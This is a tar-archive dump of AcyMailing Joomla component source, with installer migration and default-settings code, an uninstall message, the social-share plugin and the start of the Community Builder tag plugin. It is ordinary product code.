				$this->updateQuery("UPDATE #__plugins SET `ordering` = 52 WHERE `element` = 'template' AND `folder` = 'acymailing'");
			}else{
				$this->updateQuery("UPDATE #__extensions SET `ordering` = 24 WHERE `element` = 'urltracker' AND `folder` = 'acymailing'");
				$this->updateQuery("UPDATE #__extensions SET `ordering` = 52 WHERE `element` = 'template' AND `folder` = 'acymailing'");
			}
		}
	}

	function updateQuery($query){
		try{
			$res = acymailing_query($query);
		}catch(Exception $e){
			$res = null;
		}
		if($res === null) acymailing_enqueueMessage(isset($e) ? $e->getMessage() : substr(strip_tags(acymailing_getDBError()), 0, 200).'...', 'error');
	}

	function updateJoomailing(){
		$result = acymailing_loadResult("SHOW TABLES LIKE '".acymailing_getPrefix()."joomailing_config'");

		if(empty($result)) return true;


		acymailing_query("INSERT IGNORE INTO `#__acymailing_config` (`namekey`,`value`) SELECT `namekey`, REPLACE(`value`,'com_joomailing','com_acymailing') FROM `#__joomailing_config`");
		acymailing_query("INSERT IGNORE INTO `#__acymailing_list` (`name`, `description`, `ordering`, `listid`, `published`, `userid`, `alias`, `color`, `visible`, `welmailid`, `unsubmailid`, `type`) SELECT `name`, `description`, `ordering`, `listid`, `published`, `userid`, `alias`, `color`, `visible`, `welmailid`, `unsubmailid`, `type` FROM `#__joomailing_list`");
		acymailing_query("INSERT IGNORE INTO `#__acymailing_listcampaign` (`campaignid`, `listid`) SELECT `campaignid`, `listid` FROM `#__joomailing_listcampaign`");
		acymailing_query("INSERT IGNORE INTO `#__acymailing_listmail` (`listid`, `mailid`) SELECT `listid`, `mailid` FROM `#__joomailing_listmail`");
		acymailing_query("INSERT IGNORE INTO `#__acymailing_listsub` (`listid`, `subid`, `subdate`, `unsubdate`, `status`) SELECT `listid`, `subid`, `subdate`, `unsubdate`, `status` FROM `#__joomailing_listsub`");
		acymailing_query("INSERT IGNORE INTO `#__acymailing_mail` (`mailid`, `subject`, `body`, `altbody`, `published`, `senddate`, `created`, `fromname`, `fromemail`, `replyname`, `replyemail`, `type`, `visible`, `userid`, `alias`, `attach`, `html`, `tempid`, `key`, `frequency`, `params`) SELECT `mailid`, `subject`, REPLACE(`body`,'joomailing','acymailing'), REPLACE(`altbody`,'joomailing','acymailing'), `published`, `senddate`, `created`, `fromname`, `fromemail`, `replyname`, `replyemail`, `type`, `visible`, `userid`, `alias`, REPLACE(`attach`,'com_joomailing','com_acymailing'), `html`, `tempid`, `key`, `frequency`, REPLACE(`params`,'com_joomailing','com_acymailing') FROM `#__joomailing_mail`");
		acymailing_query("INSERT IGNORE INTO `#__acymailing_queue` (`senddate`, `subid`, `mailid`, `priority`, `try`) SELECT `senddate`, `subid`, `mailid`, `priority`, `try` FROM `#__joomailing_queue`");
		acymailing_query("INSERT IGNORE INTO `#__acymailing_stats` (`mailid`, `senthtml`, `senttext`, `senddate`, `openunique`, `opentotal`, `bounceunique`, `fail`, `clicktotal`, `clickunique`, `unsub`, `forward`) SELECT `mailid`, `senthtml`, `senttext`, `senddate`, `openunique`, `opentotal`, `bounceunique`, `fail`, `clicktotal`, `clickunique`, `unsub`, `forward` FROM `#__joomailing_stats`");
		acymailing_query("INSERT IGNORE INTO `#__acymailing_subscriber` (`subid`, `email`, `userid`, `name`, `created`, `confirmed`, `enabled`, `accept`, `ip`, `html`, `key`) SELECT `subid`, `email`, `userid`, `name`, `created`, `confirmed`, `enabled`, `accept`, `ip`, `html`, `key` FROM `#__joomailing_subscriber`");
		acymailing_query("INSERT IGNORE INTO `#__acymailing_template` (`tempid`, `name`, `description`, `body`, `altbody`, `created`, `published`, `premium`, `ordering`, `namekey`, `styles`) SELECT `tempid`, `name`, REPLACE(`description`,'joomailing','acymailing'), REPLACE(`body`,'joomailing','acymailing'), REPLACE(`altbody`,'joomailing','acymailing'), `created`, `published`, `premium`, `ordering`, `namekey`, REPLACE(`styles`,'joomailing','acymailing') FROM `#__joomailing_template`");
		acymailing_query("INSERT IGNORE INTO `#__acymailing_url` (`urlid`, `name`, `url`) SELECT `urlid`, REPLACE(`name`,'com_joomailing','com_acymailing'), REPLACE(`url`,'com_joomailing','com_acymailing') FROM `#__joomailing_url`");
		acymailing_query("INSERT IGNORE INTO `#__acymailing_urlclick` (`urlid`, `mailid`, `click`, `subid`, `date`) SELECT `urlid`, `mailid`, `click`, `subid`, `date` FROM `#__joomailing_urlclick`");
		acymailing_query("INSERT IGNORE INTO `#__acymailing_userstats` (`mailid`, `subid`, `html`, `sent`, `senddate`, `open`, `opendate`, `bounce`, `fail`) SELECT `mailid`, `subid`, `html`, `sent`, `senddate`, `open`, `opendate`, `bounce`, `fail` FROM `#__joomailing_userstats`");

		acymailing_query("DROP TABLE IF EXISTS `#__joomailing_config`, `#__joomailing_list`, `#__joomailing_listcampaign`, `#__joomailing_listmail`, `#__joomailing_listsub`, `#__joomailing_mail`, `#__joomailing_queue` , `#__joomailing_stats`, `#__joomailing_subscriber`, `#__joomailing_template` , `#__joomailing_url`, `#__joomailing_urlclick`, `#__joomailing_userstats`");

		acymailing_query("UPDATE `#__modules` SET `title` = REPLACE(`title`,'JooMailing','AcyMailing'), `module` = REPLACE(`module`,'joomailing','acymailing'), `params` = REPLACE(`params`,'joomailing','acymailing')");
		acymailing_query("UPDATE `#__plugins` SET `name` = REPLACE(REPLACE(REPLACE(`name`,'jooMailing','AcyMailing'),'joomailing','acymailing'),'JooMailing','AcyMailing'), `element` = REPLACE(`element`,'joomailing','acymailing'), `folder` = REPLACE(`folder`,'joomailing','acymailing'), `params` = REPLACE(`params`,'joomailing','acymailing')");

		acymailing_query("DELETE FROM `#__components` WHERE `option` LIKE '%joomailing%' OR `admin_menu_link` LIKE '%joomailing%'");

		acymailing_query("UPDATE `#__menu` SET `menutype` = REPLACE(`menutype`,'joomailing','acymailing'), `name` = REPLACE(`name`,'joomailing','acymailing'), `alias` = REPLACE(`alias`,'joomailing','acymailing'), `link` = REPLACE(`link`,'joomailing','acymailing')");


		$newFile = '<?php
					$url = \'index.php?option=com_acymailing\';
					foreach($_GET as $name => $value){
						if($name == \'option\') continue;
						$url .= \'&\'.$name.\'=\'.$value;
					}
					acymailing_redirect($url);
					';

		@file_put_contents(rtrim(JPATH_SITE, DS).DS.'components'.DS.'com_joomailing'.DS.'joomailing.php', $newFile);
		@file_put_contents(rtrim(JPATH_ADMINISTRATOR, DS).DS.'components'.DS.'com_joomailing'.DS.'admin.joomailing.php', $newFile);
	}

	function addPref(){
		$this->level = ucfirst($this->level);

		$allPref = array();

		$allPref['level'] = $this->level;
		$allPref['version'] = $this->version;
		$allPref['smtp_port'] = '';

		$allPref['from_name'] = acymailing_getCMSConfig('fromname');
		$allPref['from_email'] = acymailing_getCMSConfig('mailfrom');
		$allPref['bounce_email'] = acymailing_getCMSConfig('mailfrom');
		$allPref['mailer_method'] = acymailing_getCMSConfig('mailer');
		$allPref['sendmail_path'] = acymailing_getCMSConfig('sendmail');
		$smtpinfos = explode(':', acymailing_getCMSConfig('smtphost'));
		$allPref['smtp_port'] = acymailing_getCMSConfig('smtpport');
		$allPref['smtp_secured'] = acymailing_getCMSConfig('smtpsecure');
		$allPref['smtp_auth'] = acymailing_getCMSConfig('smtpauth');
		$allPref['smtp_username'] = acymailing_getCMSConfig('smtpuser');
		$allPref['smtp_password'] = acymailing_getCMSConfig('smtppass');

		$allPref['reply_name'] = $allPref['from_name'];
		$allPref['reply_email'] = $allPref['from_email'];
		$allPref['cron_sendto'] = $allPref['from_email'];

		$allPref['add_names'] = '1';
		$allPref['encoding_format'] = '8bit';
		$allPref['charset'] = 'UTF-8';
		$allPref['word_wrapping'] = '150';
		$allPref['hostname'] = '';
		$allPref['embed_images'] = '0';
		$allPref['embed_files'] = '1';
		$allPref['editor'] = 'acyeditor';
		$allPref['multiple_part'] = '1';
		$allPref['smtp_host'] = $smtpinfos[0];
		if(isset($smtpinfos[1])) $allPref['smtp_port'] = $smtpinfos[1];
		if(!in_array($allPref['smtp_secured'], array('tls', 'ssl'))) $allPref['smtp_secured'] = '';

		$allPref['queue_nbmail'] = '40';
		$allPref['queue_nbmail_auto'] = '70';
		$allPref['queue_type'] = 'auto';
		$allPref['queue_try'] = '3';
		$allPref['queue_pause'] = '120';
		$allPref['allow_visitor'] = '1';
		$allPref['require_confirmation'] = '0';
		$allPref['priority_newsletter'] = '3';
		$allPref['allowedfiles'] = 'zip,doc,docx,pdf,xls,txt,gzip,rar,jpg,jpeg,gif,xlsx,pps,csv,bmp,ico,odg,odp,ods,odt,png,ppt,swf,xcf,mp3,wma';
		$allPref['uploadfolder'] = 'media/com_acymailing/upload';
		$allPref['confirm_redirect'] = '';
		$allPref['subscription_message'] = '1';
		$allPref['notification_unsuball'] = '';
		$allPref['cron_next'] = '1251990901';
		$allPref['confirmation_message'] = '1';
		$allPref['welcome_message'] = '1';
		$allPref['unsub_message'] = '1';
		$allPref['cron_last'] = '0';
		$allPref['cron_fromip'] = '';
		$allPref['cron_report'] = '';
		$allPref['cron_frequency'] = '900';
		$allPref['cron_sendreport'] = '2';

		$allPref['cron_fullreport'] = '1';
		$allPref['cron_savereport'] = '2';
		$allPref['cron_savepath'] = 'media/com_acymailing/logs/report{year}_{month}.log';
		$allPref['notification_created'] = '';
		$allPref['notification_accept'] = '';
		$allPref['notification_refuse'] = '';
		$allPref['forward'] = '0';

		$allPref['priority_followup'] = '2';
		$allPref['unsub_redirect'] = '';
		$allPref['use_sef'] = '0';
		$allPref['itemid'] = '0';
		$allPref['css_module'] = 'default';
		$allPref['css_frontend'] = 'default';
		$allPref['css_backend'] = '';
		$allPref['bootstrap_frontend'] = 0;
		$allPref['export_excelsecurity'] = 1;

		$allPref['unsub_reasons'] = serialize(array('UNSUB_SURVEY_FREQUENT', 'UNSUB_SURVEY_RELEVANT'));

		$allPref['security_key'] = acymailing_generateKey(30);


		$allPref['installcomplete'] = '0';

		$allPref['Starter'] = '0';
		$allPref['Essential'] = '1';
		$allPref['Business'] = '2';
		$allPref['Enterprise'] = '3';
		$allPref['Sidekick'] = '4';

		$query = "INSERT IGNORE INTO `#__acymailing_config` (`namekey`,`value`) VALUES ";
		foreach($allPref as $namekey => $value){
			$query .= '('.acymailing_escapeDB($namekey).','.acymailing_escapeDB($value).'),';
		}
		$query = rtrim($query, ',');

		try{
			$res = acymailing_query($query);
		}catch(Exception $e){
			$res = null;
		}
		if($res === null){
			acymailing_display(isset($e) ? $e->getMessage() : substr(strip_tags(acymailing_getDBError()), 0, 200).'...', 'error');
			return false;
		}
		return true;
	}
}

class acymailingUninstall{
	function __construct(){
	}

	function message(){
		?>
		You uninstalled the AcyMailing component.<br/>
		AcyMailing also unpublished the modules attached to the component.<br/><br/>
		If you want to completely uninstall AcyMailing, please select all the AcyMailing modules and plugins and uninstall them from the Joomla Extensions Manager.<br/>
		Then execute this query via phpMyAdmin to remove all AcyMailing data:<br/><br/>
		DROP TABLE <?php


		$db = JFactory::getDBO();
		$db->setQuery("SHOW TABLES LIKE '".$db->getPrefix()."acymailing%' ");
		$jversion = preg_replace('#[^0-9\.]#i', '', JVERSION);
		if(version_compare($jversion, '3.0.0', '>=')) $tables = $db->loadColumn();
		else $tables = $db->loadResultArray();

		echo implode(' , ', $tables);

		?>;<br/><br/>
		If you DO NOT execute the query, you will be able to install AcyMailing again without losing data.<br/>
		Please note that you don't have to uninstall AcyMailing to install a new version, simply install it over the current version.
		<?php
	}

	function unpublishModules(){
		$db = JFactory::getDBO();
		$db->setQuery("UPDATE `#__modules` SET `published` = 0 WHERE `module` LIKE '%acymailing%'");

		$jversion = preg_replace('#[^0-9\.]#i', '', JVERSION);
		$method = version_compare($jversion, '4.0.0', '>=') ? 'execute' : 'query';

		$db->$method();
	}
}
com_acymailing/extensions/plg_acymailing_share/index.html000060400000000054152455305300020051 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/extensions/plg_acymailing_share/share.php000060400000021016152455305300017670 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class plgAcymailingShare extends JPlugin{
	var $pictresults = array();

	function __construct(&$subject, $config){
		parent::__construct($subject, $config);
		if(!isset($this->params)){
			$plugin = JPluginHelper::getPlugin('acymailing', 'share');
			$this->params = new acyParameter($plugin->params);
		}
	}

	function acymailing_getPluginType(){

		if($this->params->get('frontendaccess') == 'none' && !acymailing_isAdmin()) return;
		$onePlugin = new stdClass();
		$onePlugin->name = acymailing_translation_sprintf('SOCIAL_SHARE', '...');
		$onePlugin->function = 'acymailingtagshare_show';
		$onePlugin->help = 'plugin-share';

		return $onePlugin;
	}

	function _getPictures($folder){
		$allFolders = acymailing_getFolders($folder);
		foreach($allFolders as $oneFolder){
			$this->_getPictures($folder.DS.$oneFolder);
		}
		$allFiles = acymailing_getFiles($folder, $this->regex);
		foreach($allFiles as $oneFile){
			$this->pictresults[substr($oneFile, 0, 4)][$oneFile.filesize($folder.DS.$oneFile)] = $folder.DS.$oneFile;
		}
	}

	function acymailingtagshare_show(){
		$uploadFolders = acymailing_getFilesFolder('upload', true);
		$uploadFolder = acymailing_getVar('string', 'currentFolder', $uploadFolders[0]);
		$uploadPath = acymailing_cleanPath(ACYMAILING_ROOT.trim(str_replace('/', DS, trim($uploadFolder)), DS));
		$uploadedFile = acymailing_getVar('array', 'socialfile', array(), 'files');
		
		if(!empty($uploadedFile) && !empty($uploadedFile['name'])){
			$uploadedFile['name'] = acymailing_getVar('string', 'socialchoice').substr($uploadedFile['name'], strrpos($uploadedFile['name'], '.'));
			acymailing_importFile($uploadedFile, $uploadPath, true, 150);
		}
		
		
		$networks = array();
		$networks['facebook'] = 'Facebook';
		$networks['linkedin'] = 'LinkedIn';
		$networks['twitter'] = 'Twitter';
		$networks['google'] = 'Google+';
		$networks['print'] = acymailing_translation('ACY_PRINT');

		$k = 0;
		
		$this->regex = '('.implode('|', array_keys($networks)).').*(png|gif|jpeg|jpg)';
		$this->_getPictures(ACYMAILING_MEDIA);

		$socialList = array();
		$socialList[] = acymailing_selectOption('facebook', 'Facebook');
		$socialList[] = acymailing_selectOption('linkedIn', 'LinkedIn');
		$socialList[] = acymailing_selectOption('twitter', 'Twitter');
		$socialList[] = acymailing_selectOption('google', 'Google+');
		$socialChoice = acymailing_select($socialList, 'socialchoice', 'size="1" style="width:100px;"');
?>
		<br style="clear:both;">

		<div class="onelineblockoptions">
			<span class="acyblocktitle"><?php echo acymailing_translation('UPLOAD_NEW_IMAGE'); ?></span>

			<table>
				<tr>
					<td style="padding: 5px;"><?php echo $socialChoice; ?></td>
					<td style="padding: 5px;"><input type="file" name="socialfile"></td>
					<td style="padding: 5px;"><input class="acymailing_button_grey" type="submit" value="Upload"></td>
				</tr>
			</table>
		</div>
<?php
		foreach($networks as $name => $desc){
			$shortName = substr($name, 0, 4);
			if(empty($this->pictresults[$shortName])) continue;

			if($desc == acymailing_translation('ACY_PRINT')){
				$legendTxt = $desc;
			}else{
				$legendTxt = acymailing_translation_sprintf('SOCIAL_SHARE', $desc);
			}

			echo '<div class="onelineblockoptions">
					<span class="acyblocktitle">'.$legendTxt.'</span>';
			foreach($this->pictresults[$shortName] as $onePict){
				$imgPath = preg_replace('#^'.preg_quote(ACYMAILING_ROOT, '#').'#i', ACYMAILING_LIVE, $onePict);
				$imgPath = str_replace(DS, '/', $imgPath);

				if($desc == acymailing_translation('ACY_PRINT')){
					$insertedtag = '<a target="_blank" href="{print:newsletter}" title="'.acymailing_translation('ACY_PRINT').'" ><img src="'.$imgPath.'" alt="'.$desc.'" /></a>';
				}else{
					$insertedtag = '<a target="_blank" href="{sharelink:'.$name.'}" title="'.acymailing_translation_sprintf('SOCIAL_SHARE', $desc).'" ><img src="'.$imgPath.'" alt="'.$desc.'" /></a>';
				}

				echo '<img style="max-width:200px;cursor:pointer;padding:5px;" onclick="setTag(\''.htmlentities($insertedtag).'\');insertTag();" src="'.$imgPath.'" />';
			}
			echo '</div>';
			$k = 1 - $k;
		}
	}

	function acymailing_replacetags(&$email, $send = true){
		if(acymailing_getVar('none', 'task', '') == 'replacetags') return;
		$this->_print($email, $send);
		$this->_shareButtons($email, $send);
	}

	function _shareButtons(&$email, $send = true){
		$match = '#(?:{|%7B)(share|sharelink):(.*)(?:}|%7D)#Ui';
		$variables = array('body', 'altbody');
		$found = false;
		$results = array();
		foreach($variables as $var){
			if(empty($email->$var)) continue;
			$found = preg_match_all($match, $email->$var, $results[$var]) || $found;
			if(empty($results[$var][0])) unset($results[$var]);
		}

		if(!$found) return;

		$archiveLink = acymailing_frontendLink('index.php?option=com_acymailing&ctrl=archive&task=view&mailid='.$email->mailid, false, $this->params->get('template', 'component') == 'component' ? true : false);
		if(empty($email->published)){
			$archiveLink .= (strpos($archiveLink, '?') ? '&' : '?').'time='.time();
		}

		$tags = array();
		foreach($results as $var => $allresults){
			foreach($allresults[0] as $numres => $tagname){
				if(isset($tags[$tagname])) continue;
				$arguments = explode('|', $allresults[2][$numres]);
				$tag = new stdClass();
				$tag->network = $arguments[0];
				for($i = 1, $a = count($arguments); $i < $a; $i++){
					$args = explode(':', $arguments[$i]);
					if(isset($args[1])){
						$tag->{$args[0]} = $args[1];
					}else{
						$tag->{$args[0]} = true;
					}
				}

				$link = '';
				if($tag->network == 'facebook'){
					$link = 'http://www.facebook.com/sharer.php?u='.urlencode($archiveLink).'&t='.urlencode($email->subject);
					$tags[$tagname] = '<a target="_blank" href="'.$link.'" title="'.acymailing_translation_sprintf('SOCIAL_SHARE', 'Facebook').'"><img alt="Facebook" src="'.ACYMAILING_LIVE.$this->params->get('picturefb', 'media/com_acymailing/images/facebookshare.png').'" /></a>';
				}elseif($tag->network == 'twitter'){
					$text = acymailing_translation_sprintf('SHARE_TEXT', $archiveLink);
					$link = 'http://twitter.com/home?status='.urlencode($text);
					$tags[$tagname] = '<a target="_blank" href="'.$link.'" title="'.acymailing_translation_sprintf('SOCIAL_SHARE', 'Twitter').'"><img alt="Twitter" src="'.ACYMAILING_LIVE.$this->params->get('picturetwitter', 'media/com_acymailing/images/twittershare.png').'" /></a>';
				}elseif($tag->network == 'linkedin'){
					$link = 'http://www.linkedin.com/shareArticle?mini=true&url='.urlencode($archiveLink).'&title='.urlencode($email->subject);
					$tags[$tagname] = '<a target="_blank" href="'.$link.'" title="'.acymailing_translation_sprintf('SOCIAL_SHARE', 'LinkedIn').'"><img alt="LinkedIn" src="'.ACYMAILING_LIVE.$this->params->get('picturelinkedin', 'media/com_acymailing/images/linkedin.png').'" /></a>';
				}elseif($tag->network == 'google'){
					$link = 'https://plus.google.com/share?url='.urlencode($archiveLink);
					$tags[$tagname] = '<a target="_blank" href="'.$link.'" title="'.acymailing_translation_sprintf('SOCIAL_SHARE', 'Google+').'"><img alt="Google+" src="'.ACYMAILING_LIVE.$this->params->get('picturegoogleplus', 'media/com_acymailing/images/google_plusshare.png').'" /></a>';
				}

				if($allresults[1][$numres] == 'sharelink'){
					$tags[$tagname] = $link;
				}

				if(file_exists(ACYMAILING_MEDIA.'plugins'.DS.'share.php')){
					ob_start();
					require(ACYMAILING_MEDIA.'plugins'.DS.'share.php');
					$tags[$tagname] = ob_get_clean();
				}
			}
		}

		$email->body = str_replace(array_keys($tags), $tags, $email->body);
		$email->altbody = str_replace(array_keys($tags), '', $email->altbody);
	}

	private function _print(&$email, $send = true){
		$variables = array('subject', 'body', 'altbody');
		$acypluginsHelper = acymailing_get('helper.acyplugins');
		$tags = $acypluginsHelper->extractTags($email, 'print');

		$archiveLink = acymailing_frontendLink('index.php?option=com_acymailing&ctrl=archive&task=view&mailid='.$email->mailid, true, $this->params->get('template', 'component') == 'component' ? true : false);
		$addkey = (!empty($email->key)) ? '&key='.$email->key : '';
		$adduserkey = '&subid={subtag:subid}-{subtag:key}';
		$link = $archiveLink.'&print=1'.$addkey.$adduserkey;

		foreach($variables as $var){
			if(empty($email->$var)) continue;
			$email->$var = str_replace(array_keys($tags), $link, $email->$var);
		}
	}
}//endclass
com_acymailing/extensions/plg_acymailing_share/share.xml000060400000007332152455305300017706 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE install SYSTEM "http://dev.joomla.org/xml/1.5/plugin-install.dtd">
<install type="plugin" version="1.5" method="upgrade" group="acymailing">
	<name>AcyMailing : share on social networks</name>
	<creationDate>August 2010</creationDate>
	<version>1.0.0</version>
	<author>Acyba</author>
	<authorEmail>dev@acyba.com</authorEmail>
	<authorUrl>http://www.acyba.com</authorUrl>
	<copyright>Copyright (C) 2009-2018 ACYBA SAS - All rights reserved..</copyright>
	<license>GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html</license>
	<description>This plugin enables you to add a share icon for social networks</description>
	<files>
		<filename plugin="share">share.php</filename>
	</files>
	<params addpath="/components/com_acymailing/params">
		<param name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-share"/>
		<param name="template" type="radio" default="component" label="Display the online version" description="Select if you want to display the online version (when the user will share your link on the social network) without any Joomla module (no template) or inside your default Joomla Template">
			<option value="standard">Standard template</option>
			<option value="component">No template</option>
		</param>

		<param name="picturefb" type="text" label="Facebook picture - DEPRECATED" default="media/com_acymailing/images/facebookshare.png" />
		<param name="picturetwitter" type="text" label="Twitter picture - DEPRECATED" default="media/com_acymailing/images/twittershare.png" />
		<param name="picturelinkedin" type="text" label="LinkedIn picture - DEPRECATED" default="media/com_acymailing/images/linkedin.png" />
		<param name="picturegoogleplus" type="text" label="Google+ picture - DEPRECATED" default="media/com_acymailing/images/google_plusshare.png" />
		<param name="frontendaccess" type="list" default="all" label="Front-end Access" description="You can restrict the access to this tag system with this option">
			<option value="all">Always display this tag system</option>
			<option value="none">Don't display this tag system on the front-end</option>
		</param>

	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_acymailing/params">
			<fieldset name="basic">
				<field name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-share"/>
				<field name="template" type="radio" default="component" label="Display the online version" description="Select if you want to display the online version (when the user will share your link on the social network) without any Joomla module (no template) or inside your default Joomla Template">
					<option value="standard">Standard template</option>
					<option value="component">No template</option>
				</field>

				<field name="picturefb" type="text" label="Facebook picture - DEPRECATED" default="media/com_acymailing/images/facebookshare.png" />
				<field name="picturetwitter" type="text" label="Twitter picture - DEPRECATED" default="media/com_acymailing/images/twittershare.png" />
				<field name="picturelinkedin" type="text" label="LinkedIn picture - DEPRECATED" default="media/com_acymailing/images/linkedin.png" />
				<field name="picturegoogleplus" type="text" label="Google+ picture - DEPRECATED" default="media/com_acymailing/images/google_plusshare.png" />
				<field name="frontendaccess" type="list" default="all" label="Front-end Access" description="You can restrict the access to this tag system with this option">
					<option value="all">Always display this tag system</option>
					<option value="none">Don't display this tag system on the front-end</option>
				</field>

			</fieldset>
		</fields>
	</config>
</install>
com_acymailing/extensions/plg_acymailing_tagcbuser/tagcbuser_j30.xml000060400000001561152455305300022112 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="plugin" version="3.0" method="upgrade" group="acymailing">
	<name>AcyMailing Tag and filter : Community Builder</name>
	<creationDate>September 2009</creationDate>
	<version>3.7.2</version>
	<author>Acyba</author>
	<authorEmail>dev@acyba.com</authorEmail>
	<authorUrl>http://www.acyba.com</authorUrl>
	<copyright>Copyright (C) 2009-2016 ACYBA SAS - All rights reserved..</copyright>
	<license>GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html</license>
	<description>This plugin enables you to add information from the CB Profile of the user in your newsletters. It also allows you to filter the users based on CB fields and modify these field values</description>
	<files>
		<filename plugin="tagcbuser">tagcbuser.php</filename>
		<filename>tagcbuser.xml</filename>
		<filename>index.html</filename>
	</files>
</extension>
com_acymailing/extensions/plg_acymailing_tagcbuser/index.html000060400000000000152455305300020715 0ustar00com_acymailing/extensions/plg_acymailing_tagcbuser/tagcbuser.xml000060400000003717152455305300021443 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE install SYSTEM "http://dev.joomla.org/xml/1.5/plugin-install.dtd">
<install type="plugin" version="1.5" method="upgrade" group="acymailing">
	<name>AcyMailing Tag and filter : Community Builder</name>
	<creationDate>September 2009</creationDate>
	<version>3.7.2</version>
	<author>Acyba</author>
	<authorEmail>dev@acyba.com</authorEmail>
	<authorUrl>http://www.acyba.com</authorUrl>
	<copyright>Copyright (C) 2009-2016 ACYBA SAS - All rights reserved..</copyright>
	<license>GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html</license>
	<description>This plugin enables you to add information from the CB Profile of the user in your newsletters. It also allows you to filter the users based on CB fields and modify these field values</description>
	<files>
		<filename plugin="tagcbuser">tagcbuser.php</filename>
	</files>
	<params addpath="/components/com_acymailing/params">
		<param name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-tagcbuser"/>
		<param name="frontendaccess" type="list" default="all" label="Front-end Access" description="You can restrict the access to this tag system with this option">
			<option value="all">Always display this tag system</option>
			<option value="none">Don't display this tag system on the front-end</option>
		</param>
	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_acymailing/params">
			<fieldset name="basic">
				<field name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-tagcbuser"/>
				<field name="frontendaccess" type="list" default="all" label="Front-end Access" description="You can restrict the access to this tag system with this option">
					<option value="all">Always display this tag system</option>
					<option value="none">Don't display this tag system on the front-end</option>
				</field>
			</fieldset>
		</fields>
	</config>
</install>
com_acymailing/extensions/plg_acymailing_tagcbuser/tagcbuser.php000060400000031570152455305300021430 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.6.1
 * @author	acyba.com
 * @copyright	(C) 2009-2017 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php

class plgAcymailingTagcbuser extends JPlugin{
	var $sendervalues = array();

	function __construct(&$subject, $config){
		parent::__construct($subject, $config);
		if(!isset($this->params)){
			$plugin = JPluginHelper::getPlugin('acymailing', 'tagcbuser');
			$this->params = new JParameter($plugin->params);
		}
	}

	function acymailing_getPluginType(){

		$app = JFactory::getApplication();
		if(!file_exists(ACYMAILING_ROOT.'components'.DS.'com_comprofiler'.DS.'comprofiler.php')) return;
		if($this->params->get('frontendaccess') == 'none' && !$app->isAdmin()) return;
		$onePlugin = new stdClass();
		$onePlugin->name = JText::_('CB User');
		$onePlugin->function = 'acymailingtagcb_show';
		$onePlugin->help = 'plugin-tagcbuser';

		return $onePlugin;
	}

	function onAcyDisplayFilters(&$type, $context = "massactions"){

		if($this->params->get('displayfilter_'.$context, true) == false) return;
		if(!file_exists(ACYMAILING_ROOT.'components'.DS.'com_comprofiler'.DS.'comprofiler.php')) return;

		$db = JFactory::getDBO();
		$fields = acymailing_getColumns('#__comprofiler');
		if(empty($fields)) return;

		$db->setQuery('SELECT name,title FROM #__comprofiler_fields WHERE `table` LIKE '.$db->Quote('#__comprofiler'));
		$fieldTitles = $db->loadObjectList('name');

		$languages = array();
		if(file_exists(JPATH_SITE.DS.'components'.DS.'com_comprofiler'.DS.'plugin'.DS.'language'.DS.'default_language'.DS.'language.php')){
			if(!defined('CBLIB')) include_once(JPATH_SITE.DS.'libraries/CBLib/CB/Application/CBApplication.php');
			$languages = include_once JPATH_SITE.DS.'components'.DS.'com_comprofiler'.DS.'plugin'.DS.'language'.DS.'default_language'.DS.'language.php';
		}elseif(file_exists(JPATH_SITE.DS.'components'.DS.'com_comprofiler'.DS.'plugin'.DS.'language'.DS.'default_language'.DS.'default_language.php')){
			include_once JPATH_SITE.DS.'components'.DS.'com_comprofiler'.DS.'plugin'.DS.'language'.DS.'default_language'.DS.'default_language.php';
		}

		ksort($fields);
		$cbfield = array();
		foreach($fields as $oneField => $fieldType){
			$text = $oneField;
			if(!empty($fieldTitles[$oneField])){
				if(!empty($languages[$fieldTitles[$oneField]->title])){
					$text .= ' ('.$languages[$fieldTitles[$oneField]->title].')';
				}else{
					if(defined($fieldTitles[$oneField]->title)){
						$text .= ' ('.constant($fieldTitles[$oneField]->title).')';
					}else $text .= ' ('.$fieldTitles[$oneField]->title.')';
				}
			}
			$cbfield[] = JHTML::_('select.option', $oneField, $text);
		}
		$type['cbfield'] = JText::_('CB_FIELD');

		$operators = acymailing_get('type.operators');
		$operators->extra = 'onchange="countresults(__num__)"';

		$return = '<div id="filter__num__cbfield">'.JHTML::_('select.genericlist', $cbfield, "filter[__num__][cbfield][map]", 'class="inputbox" size="1" onchange="countresults(__num__)"', 'value', 'text');
		$return .= ' '.$operators->display("filter[__num__][cbfield][operator]").' <input onchange="countresults(__num__)" class="inputbox" type="text" name="filter[__num__][cbfield][value]" style="width:200px" value="" /></div>';

		return $return;
	}

	function onAcyProcessFilter_cbfield(&$query, $filter, $num){
		$query->leftjoin['cbfield'] = '#__comprofiler AS cbfield ON cbfield.id = sub.userid';
		$query->where[] = $query->convertQuery('cbfield', $filter['map'], $filter['operator'], $filter['value']);
	}

	function onAcyProcessFilterCount_cbfield(&$query, $filter, $num){
		$this->onAcyProcessFilter_cbfield($query, $filter, $num);
		return JText::sprintf('SELECTED_USERS', $query->count());
	}

	function acymailingtagcb_show(){
		?>

		<script language="javascript" type="text/javascript">
			function applyTag(tagname){
				var string = '{cbtag:' + tagname;
				for(var i = 0; i < document.adminForm.typeinfo.length; i++){
					if(document.adminForm.typeinfo[i].checked){
						string += '|info:' + document.adminForm.typeinfo[i].value;
					}
				}
				string += '}';
				setTag(string);
				insertTag();
			}
		</script>
		<?php
		$typeinfo = array();
